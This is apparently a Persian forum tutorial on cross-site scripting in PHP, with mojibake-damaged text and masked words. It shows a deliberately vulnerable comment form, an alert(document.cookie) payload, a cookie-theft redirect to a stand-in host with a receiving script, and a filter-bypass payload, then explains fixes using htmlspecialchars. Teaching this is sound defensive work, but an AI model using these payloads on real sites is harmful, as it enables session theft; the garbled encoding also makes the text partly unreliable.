تزریق اسکریپتهای سمت کاربر (Cross Site ******ing)
در این گونه Øملات مهاجم بر روی نقطه ضع٠برنامه شما برای کار با ورودی های کاربر Ú©Ù‡ Ù…ÛŒ توانند یک کد HTML یا جاوااسکریپت باشند متمرکز Ù…ÛŒ شود.
کد PHP:
[left][right]<?PHP
$filename="aa";
if (isset($HTTP_POST_VARS['comment']) [/right][/left][right][/right]
[left][right]and !empty($HTTP_POST_VARS ['comment'])){
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open aa file";
exit;
}
[/right][/left][right][/right]
[left][right]
if (fwrite($handle, $_POST['comment']."\n") === FALSE) {
echo "Cannot write to file";
exit;
}
echo "Success";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>[/right][/left][right][/right]
[left][right][/right][/left]
</span>
ین برنامه یک ورودی از کاربر Ù…ÛŒ گیرد Ùˆ آن را برروی یک Ùایل ذخیره Ù…ÛŒ کند.سپس Ù…Øتویات Ùایل را Ú©Ù‡ ورودیکاربران است را خوانده Ùˆ بر روی صÙØÙ‡ نمایش میدهد.استÙادهاز یک Ùایل برای ذخیره اطلاعات اینجا صرÙا برای ساده ترکردن اسکریپت بوده تا برنامه نویسان سایر زبان ها همبتوانند بدون مشکل کد ها را متوجه شوند.Ùرق چندانی بین ایناسکریپت Ùˆ اسکریپتی Ú©Ù‡ از دیتابیس برای ذخیره اطلاعاتاستÙاده میکند در موضوع مورد بØØ« نیست.
تا اینجای کار همه چیز عادیست . Øال بیایید عبارت زیر را به برنامه بدهیم:
<H1>This is the HTML code injection</H1>همان گونه Ú©Ù‡ مشاهده Ù…ÛŒ کنید تگ H1 نیز بعنوان Ù…Øتویات عبارت در Ùایل (یا دیتابیس) ذخیره شده است Ùˆ در نمایش به علت این Ú©Ù‡ مرورگر آن را تÙسیر Ù…ÛŒ کند در Ùرمت خروجی تاثیر گذار خواهد بود.به سورس خروجی برنامه نگاه کنید:
کد PHP:
Success, wrote
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
hi<br />
<H1>This is the first HTML injection</H1>
<
br />
[left][right] [/right][/left][right][/right]
[left][right][/right][/left]
</span>
بنابراین Ù…ÛŒ توان تگ های HTML را در این برنامه وارد کرده Ùˆ مرورگر را به تÙسیر آن ها واداشت.این امر در مورد جاوا اسکریپت Ùˆ امثالهم نیز صادق است.من عبارت زیر را به برنامه میدهم.
<******>alert("This is injected **********!")</******>و پس از ارسال آن برنامه چه چیزی نمایش میدهد؟!:
همان گونه Ú©Ù‡ پیشتر اشاره کردم ایده Ú©Ù„ÛŒ این گونه Øملات استÙاده از زبان های کلاینت ساید برای Øمله به کاربران استÙاده کننده از برنامه یا وب سایت است.
Øال تصورش را بکنید Ú©Ù‡ یک مهاجم چگونه Ù…ÛŒ تواند از تگ هایی مثل IFRAME , OBJECT , FORM,****** ?Ùˆ ... سواستÙاده کند.
کد PHP:
<?PHP
$filename="1";
$value=$ HTTP_POST_****IE["Test****ie"]+1;
set****ie("Test****ie", $value, time()+3600);
if (isset($HTTP_POST_VARS ['comment'])
and !empty($HTTP_POST_VARS ['comment'])){
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
if (fwrite($handle, $_POST['comment']."\n") === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
echo "Success, wrote";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
این برنامه دقیقا Ù‹ مثل برنامه قبلی عمل Ù…ÛŒ کند با این تÙاوت Ú©Ù‡ یک Ú©ÙˆÚ©ÛŒ ست Ù…ÛŒ کند Ùˆ با هر بار بازدید کاربر به مقدار Ú©ÙˆÚ©ÛŒ Ùوق یکی اضاÙÙ‡ Ù…ÛŒ نماید.توجه کنید بسیاری از سیستم های اعتبار سنجی برای اعتبار سنجی کاربران از Ú©ÙˆÚ©ÛŒ استÙاده Ù…ÛŒ نمایند.بنابراین اطلاعات ذخیره شده در Ú©ÙˆÚ©ÛŒ Ù…ÛŒ تواند در صورت دزدیده شدن به یک مهاجم امکان جعل هویت به عنوان کاربر معتبر را بدهد.ما در ادامه مقاله سعی در دزدیدن مقدار Ú©ÙˆÚ©ÛŒ ست شده توسط برنامه مثال بالا Ù…ÛŒ نماییم.
با وارد کردن کد زیر می توان به کوکی ها و مقادیر آن ها دسترسی داشت.
<******>alert(document.****ie)</******>و با وارد کردن کد زیر مهاجم می تواند کوکی ها را بوسیله اسکریپتی که در وب سایت خود نوشته بدزدد!
<******>document.location .replace('http://sample.com/steal****.php?****ie='+document.****ie);</******>کد دزدیدن Ú©ÙˆÚ©ÛŒ ها مثلا Ù…ÛŒ تواند کد زیر باشد Ú©Ù‡ مهاجم با قرار دادن آن در وب سایت خود Ùˆ انتقال مرورگر به آن Ù…ÛŒ تواند Ú©ÙˆÚ©ÛŒ ها را در یک Ùایل یا دیتا بیس ذخیره کرده Ùˆ از آن ها سو استÙاده کند.
کد PHP:
<?PHP
echo $_GET['****ie'];
?>
ایجاد امنیت
ال Ú©Ù‡ با شیوه Øملات تزریق اسکریپت سمت کاربر Ú©Ù‡ Cross Site ******ing یا به اختصار XSS نامیده Ù…ÛŒ شوند آشنا شده اید وقت آن است Ú©Ù‡ با مکانیزم های ایمن سازی برنامه در مقابل این گونه Øملات نیز آشنا شئید.
راه ØÙ„ شما برای مقابله با این گونه Øملات Ùیلتر کردن ورودی های کاربران ØŒ برای این گونه روش ها Ùˆ اسکریپت ها Ù…ÛŒ باشد.بعضی از برنامه نویسان برای ØÙ„ این موضوع در صورتیکه ورودی کاربر دارای <? یا > باشد آن را کاملا غیر قابل قبول Ùرض کرده Ùˆ به کاربر پیغامی مبنی بر عدم ورود این گونه کاراکنر ها میدهند.این شیوه به هیچ وجه مقبول نیست زیرا:
1- ممکن است کاربر به هر دلیل بخواهد از < یا > در نوشته خود استÙاده کند
2- همان طور Ú©Ù‡ در قسمت قبلی مقاله Ú¯Ùته شد الزاما مهاجم از < یا > در Øملات خود استÙاده نخواهد کرد.
3- بعضی دیگر در صورتی Ú©Ù‡ کد Øاوی کلمه ای خاص مثل ****** باشد آن کلمه را از درون متن Øذ٠میکنند.
مثال:
کد PHP:
<?PHP
$filename="1";
$comment=$_POST['comment'];
$comment=str_ireplace ( "******", "", $comment);
if (isset($comment) and !empty($comment)){
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
if (fwrite($handle, $comment."\n") === FALSE) {
echo "Cannot write to file ($filename)";
exit; }
echo "Success, wrote";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
من در این برنامه عبارت <******>alert(document.****ie)</******> را وارد می کنم و نتیجه:
روش Ùوق نیز آسیب پذبراست زیرا:
1- همان طور Ú©Ù‡ در مقاله قبل Ú¯Ùته شد مهاجم Ù…ÛŒ تواند از سایر تگ های HTML مثل <a> استÙاده کند
2- در صورتیکه مهاجم چنین عبارتی را وارد کند قیلتر برنامه شما را دور زده است
<sc******ript>alert(document.****ie)</sc******ript>زیرا برنامه عبارت ****** را از داخل تگ ها Øذ٠میکند Ùˆ در نهایت چنین عبارتی پدید Ù…ÛŒ آید:
<******>alert(document.****ie)</******>بهترین راه نوشتن الگریتم شخصی برای مقابله با این گونه Øملات Ù…ÛŒ باشد.مزیت این کار این است Ú©Ù‡ شما ÛŒ توانید مواردی مانند تزریق عبارات SQL (SQL Injection ) را نیز پوشش داده Ùˆ ورودی های کاربران را برای تمامی Øملاتی از این قبیل بررسی Ùˆ Ùیلتر کنید.الگوریتم شما باید بتواند ورودی کاربران را همان گونه Ú©Ù‡ وارد شده در صÙØÙ‡ نمایش دهد اما اجازه Ùعالیت به اسکریپت های Ùوق را ندهد مثلا > Ùˆ < را در صÙØÙ‡ نمایش به $lt; Ùˆ > تبذیل کند.
برنامه شما باید بتواند معادل هگزادسیمال عبارات Ùوق را نیز تشخیص داده Ùˆ بر روی آن نیز Ùیلتریتگ انجام دهد.
اگوریتم برنامه خود را Øتما Ù‹ قبل از انتشار تست Ùˆ بررسی کنید Ùˆ راه هایی را Ú©Ù‡ ممکن است یک Ù†Ùوذ گر از طریق آن ها Ùیلتر برنامه شما را دور بزند مسدود نمایید.
یک نمونه جالب برای بررسی چگونگی دادن اختیارات به کاربران همراه با در نظر گرÙتن نکات امنیتی ?BBCODE هاییست Ú©Ù‡ در Ùوروم هایی مانند PHPBB برای امکان دادن به کاربر برای درج عکس یا لینک در پست تعبیه شده است.به این ترتیب Ú©Ù‡ مثلا ورود عبارت [url] در صÙØÙ‡ نمایش به صورت تگ <a> نمایش داده Ù…ÛŒ شود.در برنامه ای مانند PHPBB از طریق Regular expression این امر تØقق یاÙته است اما Øتی در چنین برنامه ای نیز یه مهاجم خبره با خواندن دقیق کد Ù…ÛŒ تواند مشکلات امنیتی را کش٠نماید.برای مثال در تمامی نسخ PHPBB(تا 14) Ù…ÛŒ توان یک لینک مخرب به پست اضاÙÙ‡ کرد.
در صورتیکه از PHP استÙاده Ù…ÛŒ کنید تابع htmlspecialchars تابعی مناسب برای Ùیلتر کردن ورودی هاست.بررسی الگوریتم مورد استÙاده در این تابع برنامه نویسان سایر زبان ها را نیز برای نوشتن الگوریتم ایمن سازی ورودی یاری خواهد کرد.
کد ما به این شکل می شود در اخر در خط 4 دقت کنید
کد PHP:
<?PHP
$filename="1";
$comment=$_POST['comment'];
$comment= htmlspecialchars($comment);
if (isset($comment) and !empty($comment)){
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
if (fwrite($handle, $comment."\n") === FALSE) {
echo "Cannot write to file ($filename)";
exit; }
echo "Success, wrote";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
[right] [/right]
</span>
یکی از نکاتی Ú©Ù‡ متاسÙانه بسیاری از برنامه نویسان به آن توجه نمی کنند اعتبار سنجی Ùرم ها در سمت کاربر بوسیله زبان هایی مثلا جاوااسکریپت است.یک مهاجم بسادگی میتواند صÙØÙ‡ را ذخیره کرده،اسکریپت اعتبار سنجی را Øذ٠کند Ùˆ متد action ?Ùرم را دستکاری Ùˆ مقادیر Ùرم را ارسال کند.راه بسیار ساده تر استÙاده از پروکسی هایی مثا Achilles است.بدین ترتیب Ú©Ù‡ مقادیر قبل از ارسال از سیستم کاربر به خارج توسط این گونه نرم اÙزار ها بین راه دریاÙت شده Ùˆ مهاجم بسادگی Ù…ÛŒ واند آن ها را ویرایش کند.در مبØØ« Øمله به Ú©ÙˆÚ©ÛŒ ها یک نمونه از این عمل را نمایش خواهیم داد.
در مجموع Ùراموش نکنید Ú©Ù‡ امنیت در تمامی زمینه ها به خلاقیت Ùˆ آگاهی شما بستگی دارد.شما برای ایمن سازی نیازمندید Ú©Ù‡ Ù…Øیط کار خود را به خوبی بشناسید.بهترین متخصصان امنیتی دنیا هم هیچ وقت نمی تواندد امنیت سیستمی را صد در صد تضمین کنند.تنها کاری Ú©Ù‡ یک مشاور امنیتی Ù…ÛŒ کند پایین آوردن درصد ریسک است Ùˆ لا غیر.
با تشکر از cfz
با تشکر از cfz
لینک دانلود به Ùرمت pdf
http://www.divshare.com/download/941970-930
Comment